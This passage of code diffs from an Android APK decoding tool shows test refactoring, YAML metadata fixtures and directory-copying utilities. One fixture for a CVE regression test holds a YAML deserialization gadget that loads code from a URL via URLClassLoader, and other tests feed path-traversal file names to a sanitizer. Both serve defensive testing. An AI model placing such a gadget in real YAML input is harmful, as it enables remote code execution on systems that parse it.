assertEquals("assets/0byte_file.jpg", apkInfo.doNotCompress.get(0));
assertEquals("arsc", apkInfo.doNotCompress.get(1));
assertEquals("png", apkInfo.doNotCompress.get(2));
assertEquals("mp3", apkInfo.doNotCompress.get(3));
assertNotNull(apkInfo.unknownFiles);
assertEquals(7, apkInfo.unknownFiles.size());
assertEquals("8", apkInfo.unknownFiles.get("AssetBundle/assets/a.txt"));
assertEquals("8", apkInfo.unknownFiles.get("AssetBundle/b.txt"));
assertEquals("8", apkInfo.unknownFiles.get("hidden.file"));
assertEquals("8", apkInfo.unknownFiles.get("non\u007Fprintable.file"));
assertEquals("0", apkInfo.unknownFiles.get("stored.file"));
assertEquals("8", apkInfo.unknownFiles.get("unk_folder/unknown_file"));
assertEquals("8", apkInfo.unknownFiles.get("lib_bug603/bug603"));
assertEquals("stored.file", apkInfo.doNotCompress.get(4));
}
}

View File

@ -40,11 +40,8 @@ public class ConsistentPropertyTest {
assertEquals("com.test.basic", apkInfo.packageInfo.renameManifestPackage);
assertEquals("71", apkInfo.versionInfo.versionCode);
assertEquals("1.0.70", apkInfo.versionInfo.versionName);
assertFalse(apkInfo.resourcesAreCompressed);
assertFalse(apkInfo.sharedLibrary);
assertTrue(apkInfo.sparseResources);
assertEquals(1, apkInfo.unknownFiles.size());
assertEquals(2, apkInfo.doNotCompress.size());
assertFalse(apkInfo.compressionType);
}
}

View File

@ -34,7 +34,7 @@ public class InvalidSdkBoundingTest {
sdkInfo.put("targetSdkVersion", "25");
sdkInfo.put("maxSdkVersion", "19");
apkInfo.setSdkInfo(sdkInfo);
apkInfo.sdkInfo = sdkInfo;
assertEquals("19", apkInfo.checkTargetSdkVersionBounds());
}
@ -46,7 +46,7 @@ public class InvalidSdkBoundingTest {
sdkInfo.put("targetSdkVersion", "25");
sdkInfo.put("maxSdkVersion", "19");
apkInfo.setSdkInfo(sdkInfo);
apkInfo.sdkInfo = sdkInfo;
assertEquals("19", apkInfo.checkTargetSdkVersionBounds());
}
@ -58,7 +58,7 @@ public class InvalidSdkBoundingTest {
sdkInfo.put("minSdkVersion", "15");
sdkInfo.put("targetSdkVersion", "25");
apkInfo.setSdkInfo(sdkInfo);
apkInfo.sdkInfo = sdkInfo;
assertEquals("25", apkInfo.checkTargetSdkVersionBounds());
}
@ -69,7 +69,7 @@ public class InvalidSdkBoundingTest {
Map<String, String> sdkInfo = new LinkedHashMap<>();
sdkInfo.put("targetSdkVersion", "25");
apkInfo.setSdkInfo(sdkInfo);
apkInfo.sdkInfo = sdkInfo;
assertEquals("25", apkInfo.checkTargetSdkVersionBounds());
}
@ -80,7 +80,7 @@ public class InvalidSdkBoundingTest {
Map<String, String> sdkInfo = new LinkedHashMap<>();
sdkInfo.put("targetSdkVersion", "S");
apkInfo.setSdkInfo(sdkInfo);
apkInfo.sdkInfo = sdkInfo;
assertEquals("31", apkInfo.checkTargetSdkVersionBounds());
}
@ -91,7 +91,7 @@ public class InvalidSdkBoundingTest {
Map<String, String> sdkInfo = new LinkedHashMap<>();
sdkInfo.put("targetSdkVersion", "O");
apkInfo.setSdkInfo(sdkInfo);
apkInfo.sdkInfo = sdkInfo;
assertEquals("26", apkInfo.checkTargetSdkVersionBounds());
}
@ -102,7 +102,7 @@ public class InvalidSdkBoundingTest {
Map<String, String> sdkInfo = new LinkedHashMap<>();
sdkInfo.put("targetSdkVersion", "SDK_CUR_DEVELOPMENT");
apkInfo.setSdkInfo(sdkInfo);
apkInfo.sdkInfo = sdkInfo;
assertEquals("10000", apkInfo.checkTargetSdkVersionBounds());
}
}

View File

@ -48,7 +48,7 @@ public class AndResGuardTest extends BaseTest {
String apk = "issue1170.apk";
// decode issue1170.apk
ApkDecoder apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk));
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + ".out");
File outDir = new File(sTmpDir + File.separator + apk + ".out");
@ -65,7 +65,7 @@ public class AndResGuardTest extends BaseTest {
config.forceDelete = true;
config.decodeResources = Config.DECODE_RESOURCES_NONE;
String apk = "issue1170.apk";
ApkDecoder apkDecoder = new ApkDecoder(config, new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk), config);
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + ".raw.out");
File outDir = new File(sTmpDir + File.separator + apk + ".raw.out");
apkDecoder.decode(outDir);

View File

@ -48,7 +48,7 @@ public class CompactResourceTest extends BaseTest {
@Test
public void checkIfDecodeSucceeds() throws BrutException, IOException, ParserConfigurationException, SAXException {
String apk = "issue3366.apk";
File testApk = new File(sTmpDir, apk);
ExtFile testApk = new ExtFile(sTmpDir, apk);
// decode issue3366.apk
ApkDecoder apkDecoder = new ApkDecoder(testApk);
@ -62,6 +62,6 @@ public class CompactResourceTest extends BaseTest {
Config config = Config.getDefaultConfig();
LOGGER.info("Building duplicatedex.apk...");
new ApkBuilder(config, sTestOrigDir).build(testApk);
new ApkBuilder(sTestOrigDir, config).build(testApk);
}
}

View File

@ -55,7 +55,7 @@ public class DecodeKotlinCoroutinesTest extends BaseTest {
Config config = Config.getDefaultConfig();
config.forceDelete = true;
// decode kotlin coroutines
ApkDecoder apkDecoder = new ApkDecoder(config, new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk), config);
File outDir = new File(sTmpDir + File.separator + apk + ".out");
apkDecoder.decode(outDir);
File coroutinesExceptionHandler = new File(sTmpDir + File.separator + apk + ".out" + File.separator + "META-INF" + File.separator + "services", "kotlinx.coroutines.CoroutineExceptionHandler");
@ -66,23 +66,23 @@ public class DecodeKotlinCoroutinesTest extends BaseTest {
}
@Test
public void kotlinCoroutinesEncodeAfterDecodeTest() throws IOException, BrutException {
public void kotlinCoroutinesEncodeAfterDecodeTest() throws BrutException, IOException {
Config config = Config.getDefaultConfig();
config.forceDelete = true;
// decode kotlin coroutines
ApkDecoder apkDecoder = new ApkDecoder(config, new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk), config);
File outDir = new File(sTmpDir + File.separator + apk + ".out");
apkDecoder.decode(outDir);
// build kotlin coroutines
ExtFile testApk = new ExtFile(sTmpDir, apk + ".out");
new ApkBuilder(config, testApk).build(null);
new ApkBuilder(testApk, config).build(null);
String newApk = apk + ".out" + File.separator + "dist" + File.separator + apk;
assertTrue(fileExists(newApk));
// decode kotlin coroutines again
apkDecoder = new ApkDecoder(config, new File(sTmpDir + File.separator + newApk));
apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + newApk), config);
outDir = new File(sTmpDir + File.separator + apk + ".out.two");
apkDecoder.decode(outDir);

View File

@ -43,7 +43,7 @@ public class DecodeKotlinTest extends BaseTest {
String apk = "testkotlin.apk";
// decode testkotlin.apk
ApkDecoder apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk));
sTestNewDir = new ExtFile(sTmpDir + File.separator + apk + ".out");
File outDir = new File(sTmpDir + File.separator + apk + ".out");

View File

@ -52,7 +52,7 @@ public class DoubleExtensionUnknownFileTest extends BaseTest {
String apk = "issue1244.apk";
// decode issue1244.apk
ApkDecoder apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk));
ExtFile decodedApk = new ExtFile(sTmpDir + File.separator + apk + ".out");
File outDir = new File(sTmpDir + File.separator + apk + ".out");
apkDecoder.decode(outDir);
@ -60,7 +60,7 @@ public class DoubleExtensionUnknownFileTest extends BaseTest {
ApkInfo apkInfo = ApkInfo.load(decodedApk);
for (String string : apkInfo.doNotCompress) {
if (StringUtils.countMatches(string, ".") > 1) {
assertTrue(string.equalsIgnoreCase("assets/bin/Data/sharedassets1.assets.split0"));
assertTrue(string.equals("assets/bin/Data/sharedassets1.assets.split0"));
}
}
}

View File

@ -45,7 +45,7 @@ public class DuplicateDexTest extends BaseTest {
@Test(expected = AndrolibException.class)
public void decodeAllSourcesShouldThrowException() throws BrutException, IOException {
File testApk = new File(sTestOrigDir, "duplicatedex.apk");
ExtFile testApk = new ExtFile(sTestOrigDir, "duplicatedex.apk");
LOGGER.info("Decoding duplicatedex.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);
@ -53,22 +53,22 @@ public class DuplicateDexTest extends BaseTest {
LOGGER.info("Building duplicatedex.apk...");
Config config = Config.getDefaultConfig();
new ApkBuilder(config, sTestNewDir).build(testApk);
new ApkBuilder(sTestNewDir, config).build(testApk);
}
@Test
public void decodeUsingOnlyMainClassesMode() throws BrutException, IOException {
File testApk = new File(sTestOrigDir, "duplicatedex.apk");
ExtFile testApk = new ExtFile(sTestOrigDir, "duplicatedex.apk");
LOGGER.info("Decoding duplicatedex.apk...");
Config config = Config.getDefaultConfig();
config.decodeSources = Config.DECODE_SOURCES_SMALI_ONLY_MAIN_CLASSES;
ApkDecoder apkDecoder = new ApkDecoder(config, testApk);
ApkDecoder apkDecoder = new ApkDecoder(testApk, config);
apkDecoder.decode(sTestNewDir);
LOGGER.info("Building duplicatedex.apk...");
new ApkBuilder(config, sTestNewDir).build(testApk);
new ApkBuilder(sTestNewDir, config).build(testApk);
}
}

View File

@ -51,7 +51,7 @@ public class Empty9PatchTest extends BaseTest {
String apk = "empty9patch.apk";
// decode empty9patch.apk
ApkDecoder apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk));
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + ".out");
File outDir = new File(sTmpDir + File.separator + apk + ".out");

View File

@ -50,7 +50,7 @@ public class EmptyArscTest extends BaseTest {
String apk = "test.apk";
// decode test.apk
ApkDecoder apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk));
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + ".out");
File outDir = new File(sTmpDir + File.separator + apk + ".out");

View File

@ -139,7 +139,7 @@ public class ForceManifestDecodeNoResourcesTest extends BaseTest {
config.forceDelete = true;
config.decodeResources = decodeResources;
config.forceDecodeManifest = decodeManifest;
ApkDecoder apkDecoder = new ApkDecoder(config, new File(apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(apk), config);
apkDecoder.decode(new File(output));
}
}

View File

@ -48,7 +48,7 @@ public class MinifiedArscTest extends BaseTest {
Config config = Config.getDefaultConfig();
config.forceDelete = true;
// decode issue1157.apk
ApkDecoder apkDecoder = new ApkDecoder(config, new ExtFile(sTmpDir, apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir, apk), config);
// this should not raise an exception:
apkDecoder.decode(sTestNewDir);
}

View File

@ -51,7 +51,7 @@ public class MissingVersionManifestTest extends BaseTest {
String apk = "issue1264.apk";
// decode issue1264.apk
ApkDecoder apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk));
ExtFile decodedApk = new ExtFile(sTmpDir + File.separator + apk + ".out");
File outDir = new File(sTmpDir + File.separator + apk + ".out");
apkDecoder.decode(outDir);

View File

@ -42,7 +42,7 @@ public class OutsideOfDirectoryEntryTest extends BaseTest {
String apk = "issue1589.apk";
// decode issue1589.apk
ApkDecoder apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk));
sTestNewDir = new ExtFile(sTmpDir + File.separator + apk + ".out");
File outDir = new File(sTmpDir + File.separator + apk + ".out");

View File

@ -52,7 +52,7 @@ public class ParentDirectoryTraversalTest extends BaseTest {
config.forceDelete = true;
config.decodeResources = Config.DECODE_RESOURCES_NONE;
// decode issue1498.apk
ApkDecoder apkDecoder = new ApkDecoder(config, new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk), config);
File outDir = new File(sTmpDir + File.separator + apk + ".out");
// this should not raise an exception:
apkDecoder.decode(outDir);

View File

@ -47,7 +47,7 @@ public class ProtectedApkTest extends BaseTest {
String apk = "protected-v1.apk";
// decode protected-v1.apk
ApkDecoder apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk));
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + ".out");
File outDir = new File(sTmpDir + File.separator + apk + ".out");

View File

@ -52,7 +52,7 @@ public class ResourceDirectoryTraversalTest extends BaseTest {
Config config = Config.getDefaultConfig();
config.forceDelete = true;
ApkDecoder apkDecoder = new ApkDecoder(config, new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk), config);
File outDir = new File(sTmpDir + File.separator + apk + ".out");
apkDecoder.decode(outDir);

View File

@ -53,7 +53,7 @@ public class ResourceModeTest extends BaseTest {
config.setDecodeResolveMode(Config.DECODE_RES_RESOLVE_REMOVE);
// decode issue2836.apk
ApkDecoder apkDecoder = new ApkDecoder(config, new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk), config);
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + "remove.out");
File outDir = new File(sTmpDir + File.separator + apk + "remove.out");
@ -84,7 +84,7 @@ public class ResourceModeTest extends BaseTest {
config.setDecodeResolveMode(Config.DECODE_RES_RESOLVE_DUMMY);
// decode issue2836.apk
ApkDecoder apkDecoder = new ApkDecoder(config, new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk), config);
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + "dummies.out");
File outDir = new File(sTmpDir + File.separator + apk + "dummies.out");
@ -115,7 +115,7 @@ public class ResourceModeTest extends BaseTest {
config.setDecodeResolveMode(Config.DECODE_RES_RESOLVE_RETAIN);
// decode issue2836.apk
ApkDecoder apkDecoder = new ApkDecoder(config, new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk), config);
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + "leave.out");
File outDir = new File(sTmpDir + File.separator + apk + "leave.out");

View File

@ -50,35 +50,35 @@ public class SparseFlagTest extends BaseTest {
@Test
public void decodeWithExpectationOfSparseResources() throws BrutException, IOException {
File testApk = new File(sTestOrigDir, "sparse.apk");
ExtFile testApk = new ExtFile(sTestOrigDir, "sparse.apk");
LOGGER.info("Decoding sparse.apk...");
Config config = Config.getDefaultConfig();
config.frameworkTag = "issue-3298";
ApkDecoder apkDecoder = new ApkDecoder(config, testApk);
ApkDecoder apkDecoder = new ApkDecoder(testApk, config);
ApkInfo apkInfo = apkDecoder.decode(sTestNewDir);
assertTrue("Expecting sparse resources", apkInfo.sparseResources);
LOGGER.info("Building sparse.apk...");
new ApkBuilder(config, sTestNewDir).build(testApk);
new ApkBuilder(sTestNewDir, config).build(testApk);
}
@Test
public void decodeWithExpectationOfNoSparseResources() throws BrutException, IOException {
File testApk = new File(sTestOrigDir, "not-sparse.apk");
ExtFile testApk = new ExtFile(sTestOrigDir, "not-sparse.apk");
LOGGER.info("Decoding not-sparse.apk...");
Config config = Config.getDefaultConfig();
config.frameworkTag = "issue-3298";
ApkDecoder apkDecoder = new ApkDecoder(config, testApk);
ApkDecoder apkDecoder = new ApkDecoder(testApk, config);
ApkInfo apkInfo = apkDecoder.decode(sTestNewDir);
assertFalse("Expecting not-sparse resources", apkInfo.sparseResources);
LOGGER.info("Building not-sparse.apk...");
new ApkBuilder(config, sTestNewDir).build(testApk);
new ApkBuilder(sTestNewDir, config).build(testApk);
}
}

View File

@ -50,7 +50,7 @@ public class VectorDrawableTest extends BaseTest {
String apk = "issue1456.apk";
// decode issue1456.apk
ApkDecoder apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk));
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + ".out");
File outDir = new File(sTmpDir + File.separator + apk + ".out");

View File

@ -49,11 +49,11 @@ public class DexStaticFieldValueTest extends BaseTest {
LOGGER.info("Building issue2543.apk...");
File testApk = new File(sTmpDir, "issue2543.apk");
new ApkBuilder(config, sTestOrigDir).build(testApk);
new ApkBuilder(sTestOrigDir, config).build(testApk);
LOGGER.info("Decoding issue2543.apk...");
config.baksmaliDebugMode = false;
ApkDecoder apkDecoder = new ApkDecoder(config, new ExtFile(testApk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(testApk), config);
apkDecoder.decode(sTestNewDir);
}

View File

@ -50,32 +50,32 @@ public class UnknownDirectoryTraversalTest extends BaseTest {
}
@Test
public void validFileTest() throws IOException, BrutException {
String validFilename = BrutIO.sanitizeFilepath(sTmpDir, "file");
assertEquals(validFilename, "file");
public void validFileTest() throws BrutException, IOException {
String validFileName = BrutIO.sanitizePath(sTmpDir, "file");
assertEquals(validFileName, "file");
File validFile = new File(sTmpDir, validFilename);
File validFile = new File(sTmpDir, validFileName);
assertTrue(validFile.isFile());
}
@Test(expected = TraversalUnknownFileException.class)
public void invalidBackwardFileTest() throws IOException, BrutException {
BrutIO.sanitizeFilepath(sTmpDir, "../file");
public void invalidBackwardFileTest() throws BrutException, IOException {
BrutIO.sanitizePath(sTmpDir, "../file");
}
@Test(expected = RootUnknownFileException.class)
public void invalidRootFileTest() throws IOException, BrutException {
public void invalidRootFileTest() throws BrutException, IOException {
String rootLocation = OSDetection.isWindows() ? "C:/" : File.separator;
BrutIO.sanitizeFilepath(sTmpDir, rootLocation + "file");
BrutIO.sanitizePath(sTmpDir, rootLocation + "file");
}
@Test(expected = InvalidUnknownFileException.class)
public void noFilePassedTest() throws IOException, BrutException {
BrutIO.sanitizeFilepath(sTmpDir, "");
public void noFilePassedTest() throws BrutException, IOException {
BrutIO.sanitizePath(sTmpDir, "");
}
@Test(expected = TraversalUnknownFileException.class)
public void invalidBackwardPathOnWindows() throws IOException, BrutException {
public void invalidBackwardPathOnWindows() throws BrutException, IOException {
String invalidPath;
if (! OSDetection.isWindows()) {
invalidPath = "../../app";
@ -83,12 +83,12 @@ public class UnknownDirectoryTraversalTest extends BaseTest {
invalidPath = "..\\..\\app.exe";
}
BrutIO.sanitizeFilepath(sTmpDir, invalidPath);
BrutIO.sanitizePath(sTmpDir, invalidPath);
}
@Test
public void validDirectoryFileTest() throws IOException, BrutException {
String validFilename = BrutIO.sanitizeFilepath(sTmpDir, "dir" + File.separator + "file");
assertEquals("dir" + File.separator + "file", validFilename);
public void validDirectoryFileTest() throws BrutException, IOException {
String validFileName = BrutIO.sanitizePath(sTmpDir, "dir" + File.separator + "file");
assertEquals("dir" + File.separator + "file", validFileName);
}
}

View File

@ -8,5 +8,4 @@ packageInfo:
forcedPackageId: '127'
versionInfo:
versionCode: '1'
versionName: '1.0'
compressionType: false
versionName: '1.0'

View File

@ -9,17 +9,9 @@ packageInfo:
versionInfo:
versionCode: '1'
versionName: '1.0'
compressionType: false
doNotCompress:
- assets/0byte_file.jpg
- arsc
- png
- mp3
unknownFiles:
AssetBundle/assets/a.txt: '8'
AssetBundle/b.txt: '8'
hidden.file: '8'
non\u007Fprintable.file: '8'
stored.file: '0'
unk_folder/unknown_file: '8'
lib_bug603/bug603: '8'
- stored.file

View File

@ -8,5 +8,4 @@ packageInfo:
forcedPackageId: '127'
versionInfo:
versionCode: '1'
versionName: '1.0'
compressionType: false
versionName: '1.0'

View File

@ -8,5 +8,4 @@ packageInfo:
forcedPackageId: '127'
versionInfo:
versionCode: '1'
versionName: '1.0'
compressionType: false
versionName: '1.0'

View File

@ -8,5 +8,4 @@ packageInfo:
forcedPackageId: '127'
versionInfo:
versionCode: '1'
versionName: '1.0'
compressionType: false
versionName: '1.0'

View File

@ -8,5 +8,4 @@ packageInfo:
forcedPackageId: '128'
versionInfo:
versionCode: '1'
versionName: '1.0'
compressionType: false
versionName: '1.0'

View File

@ -9,10 +9,6 @@ packageInfo:
versionInfo:
versionCode: '1'
versionName: '1.0'
compressionType: false
doNotCompress:
- assets/0byte_file.jpg
sparseResources: false
unknownFiles:
AssetBundle/assets/a.txt: '8'
AssetBundle/b.txt: '8'

View File

@ -1,8 +1,7 @@
!!brut.androlib.meta.MetaInfo
apkFileName: basic.apk
compressionType: false
doNotCompress:
- resources.arsc
- arsc
- png
isFrameworkApk: false
packageInfo:
@ -14,8 +13,6 @@ sdkInfo:
targetSdkVersion: '22'
sharedLibrary: false
sparseResources: true
unknownFiles:
hidden.file: 1
usesFramework:
ids:
- 1

View File

@ -1,9 +1,8 @@
!!brut.androlib.meta.MetaInfo
apkFileName: cve20220476.apk
compressionType: false
some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://127.0.0.1:8000"]]]]
doNotCompress:
- resources.arsc
- arsc
isFrameworkApk: false
packageInfo:
forcedPackageId: '127'

View File

@ -1,9 +1,8 @@
!!brut.androlib.meta.MetaInfo
version: 2.0.0
apkFileName: standard.apk
compressionType: false
doNotCompress:
- resources.arsc
- arsc
isFrameworkApk: false
packageInfo:
forcedPackageId: '127'

View File

@ -1,8 +1,7 @@
!!brut.androlib.meta.MetaInfo
apkFileName: basic.apk
compressionType: false
doNotCompress:
- resources.arsc
- arsc
- png
isFrameworkApk: false
packageInfo:
@ -14,8 +13,6 @@ sdkInfo:
targetSdkVersion: '22'
sharedLibrary: false
sparseResources: true
unknownFiles:
hidden.file: 1
usesFramework:
ids:
- 1

View File

@ -1,9 +1,8 @@
!!brut.androlib.meta.MetaInfo
apkFileName: standard.apk
version: 2.0.0
compressionType: false
doNotCompress:
- resources.arsc
- arsc
isFrameworkApk: false
packageInfo:
forcedPackageId: '127'

View File

@ -1,8 +1,7 @@
!!brut.androlib.meta.MetaInfo
apkFileName: standard.apk
compressionType: false
doNotCompress:
- resources.arsc
- arsc
isFrameworkApk: false
packageInfo:
forcedPackageId: '127'

View File

@ -1,9 +1,8 @@
!!brut.androlib.meta.MetaInfo
apkFileName: standard.apk
compressionType: false
test: test
doNotCompress:
- resources.arsc
- arsc
isFrameworkApk: false
packageInfo:
forcedPackageId: '127'

View File

@ -9,17 +9,9 @@ packageInfo:
versionInfo:
versionCode: '1'
versionName: '1.0'
compressionType: false
doNotCompress:
- assets/0byte_file.jpg
- arsc
- png
- mp3
unknownFiles:
AssetBundle/assets/a.txt: '8'
AssetBundle/b.txt: '8'
hidden.file: '8'
non\u007Fprintable.file: '8'
stored.file: '0'
unk_folder/unknown_file: '8'
lib_bug603/bug603: '8'
- stored.file

View File

@ -8,5 +8,4 @@ packageInfo:
forcedPackageId: '127'
versionInfo:
versionCode: '1'
versionName: '1.0'
compressionType: false
versionName: '1.0'

View File

@ -8,5 +8,4 @@ packageInfo:
forcedPackageId: '127'
versionInfo:
versionCode: '1'
versionName: '1.0'
compressionType: false
versionName: '1.0'

View File

@ -59,7 +59,7 @@ public abstract class AbstractDirectory implements Directory {
SubPath subpath;
try {
subpath = getSubPath(path);
} catch (PathNotExist e) {
} catch (PathNotExist ex) {
return false;
}
@ -74,7 +74,7 @@ public abstract class AbstractDirectory implements Directory {
SubPath subpath;
try {
subpath = getSubPath(path);
} catch (PathNotExist e) {
} catch (PathNotExist ex) {
return false;
}
@ -117,10 +117,9 @@ public abstract class AbstractDirectory implements Directory {
}
Directory dir;
// IMPOSSIBLE_EXCEPTION
try {
dir = createDir(parsed.dir);
} catch (PathAlreadyExists e) {
} catch (PathAlreadyExists ex) {
dir = getAbstractDirs().get(parsed.dir);
}
return dir.getFileOutput(parsed.subpath);
@ -165,7 +164,7 @@ public abstract class AbstractDirectory implements Directory {
SubPath subpath;
try {
subpath = getSubPath(path);
} catch (PathNotExist e) {
} catch (PathNotExist ex) {
return false;
}
@ -226,7 +225,7 @@ public abstract class AbstractDirectory implements Directory {
}
Map<String, AbstractDirectory> dirs = new LinkedHashMap<>(mDirs);
for (Map.Entry<String, AbstractDirectory> dir : getAbstractDirs().entrySet()) {
for (Map.Entry<String, AbstractDirectory> dir : mDirs.entrySet()) {
for (Map.Entry<String, AbstractDirectory> subdir : dir.getValue().getAbstractDirs(
true).entrySet()) {
dirs.put(dir.getKey() + separator + subdir.getKey(),

View File

@ -22,6 +22,7 @@ import brut.common.RootUnknownFileException;
import brut.common.TraversalUnknownFileException;
import brut.util.BrutIO;
import brut.util.OS;
import java.io.*;
import java.nio.file.FileSystemException;
import java.nio.file.Files;
@ -34,15 +35,13 @@ public class DirUtil {
// Private constructor for utility class
}
public static void copyToDir(Directory in, Directory out)
throws DirectoryException {
public static void copyToDir(Directory in, Directory out) throws DirectoryException {
for (String fileName : in.getFiles(true)) {
copyToDir(in, out, fileName);
}
}
public static void copyToDir(Directory in, Directory out,
String[] fileNames) throws DirectoryException {
public static void copyToDir(Directory in, Directory out, String[] fileNames) throws DirectoryException {
for (String fileName : fileNames) {
copyToDir(in, out, fileName);
}
@ -84,23 +83,24 @@ public class DirUtil {
throws DirectoryException {
try {
if (in.containsDir(fileName)) {
OS.rmdir(new File(out, fileName));
in.getDir(fileName).copyToDir(new File(out, fileName));
} else if (!in.containsDir(fileName) && !in.containsFile(fileName)) {
// Skip copies of directories/files not found.
} else {
String cleanedFilename = BrutIO.sanitizeFilepath(out, fileName);
if (! cleanedFilename.isEmpty()) {
File outFile = new File(out, cleanedFilename);
File outDir = new File(out, fileName);
OS.rmdir(outDir);
in.getDir(fileName).copyToDir(outDir);
} else if (in.containsFile(fileName)) {
String validFileName = BrutIO.sanitizePath(out, fileName);
if (!validFileName.isEmpty()) {
File outFile = new File(out, validFileName);
//noinspection ResultOfMethodCallIgnored
outFile.getParentFile().mkdirs();
BrutIO.copyAndClose(in.getFileInput(fileName), Files.newOutputStream(outFile.toPath()));
}
} else {
// Skip if directory/file not found
}
} catch (FileSystemException exception) {
LOGGER.warning(String.format("Skipping file %s (%s)", fileName, exception.getReason()));
} catch (RootUnknownFileException | InvalidUnknownFileException | TraversalUnknownFileException | IOException exception) {
LOGGER.warning(String.format("Skipping file %s (%s)", fileName, exception.getMessage()));
} catch (FileSystemException ex) {
LOGGER.warning(String.format("Skipping file %s (%s)", fileName, ex.getReason()));
} catch (RootUnknownFileException | InvalidUnknownFileException | TraversalUnknownFileException | IOException ex) {
LOGGER.warning(String.format("Skipping file %s (%s)", fileName, ex.getMessage()));
} catch (BrutException ex) {
throw new DirectoryException("Error copying file: " + fileName, ex);
}

View File

@ -58,5 +58,14 @@ public class ExtFile extends File {
}
}
@Override
public boolean delete() {
try {
close();
} catch (IOException ignored) {}
return super.delete();
}
private Directory mDirectory;
}

View File

@ -70,8 +70,8 @@ public class FileDirectory extends AbstractDirectory {
protected InputStream getFileInputLocal(String name) throws DirectoryException {
try {
return new FileInputStream(generatePath(name));
} catch (FileNotFoundException e) {
throw new DirectoryException(e);
} catch (FileNotFoundException ex) {
throw new DirectoryException(ex);
}
}
@ -79,8 +79,8 @@ public class FileDirectory extends AbstractDirectory {
protected OutputStream getFileOutputLocal(String name) throws DirectoryException {
try {
return new FileOutputStream(generatePath(name));
} catch (FileNotFoundException e) {
throw new DirectoryException(e);
} catch (FileNotFoundException ex) {
throw new DirectoryException(ex);
}
}
@ -115,7 +115,6 @@ public class FileDirectory extends AbstractDirectory {
if (file.isFile()) {
mFiles.add(file.getName());
} else {
// IMPOSSIBLE_EXCEPTION
try {
mDirs.put(file.getName(), new FileDirectory(file));
} catch (DirectoryException ignored) {}

View File

@ -51,8 +51,8 @@ public class ZipRODirectory extends AbstractDirectory {
super();
try {
mZipFile = new ZipFile(zipFile);
} catch (IOException e) {
throw new DirectoryException(e);
} catch (IOException ex) {
throw new DirectoryException(ex);
}
mPath = path;
}
@ -73,8 +73,8 @@ public class ZipRODirectory extends AbstractDirectory {
throws DirectoryException {
try {
return getZipFile().getInputStream(new ZipEntry(getPath() + name));
} catch (IOException e) {
throw new PathNotExist(name, e);
} catch (IOException ex) {
throw new PathNotExist(name, ex);
}
}

View File

@ -17,6 +17,9 @@
package brut.directory;
import brut.common.BrutException;
import brut.common.InvalidUnknownFileException;
import brut.common.RootUnknownFileException;
import brut.common.TraversalUnknownFileException;
import brut.util.BrutIO;
import org.apache.commons.io.FilenameUtils;
import org.apache.commons.io.IOUtils;
@ -24,64 +27,89 @@ import org.apache.commons.io.IOUtils;
import java.io.*;
import java.nio.file.Files;
import java.util.Collection;
import java.util.function.Predicate;
import java.util.logging.Logger;
import java.util.zip.CRC32;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ZipUtils {
private static Collection<String> mDoNotCompress;
private static final Logger LOGGER = Logger.getLogger("");
private ZipUtils() {
// Private constructor for utility class
}
public static void zipFoldersPreserveStream(final File folder, final ZipOutputStream zipOutputStream, final File assets, final Collection<String> doNotCompress)
throws BrutException, IOException {
public static void zipDir(File dir, ZipOutputStream out, Collection<String> doNotCompress)
throws IOException {
zipDir(dir, null, out, doNotCompress);
}
mDoNotCompress = doNotCompress;
zipFolders(folder, zipOutputStream);
// We manually set the assets because we need to retain the folder structure
if (assets != null) {
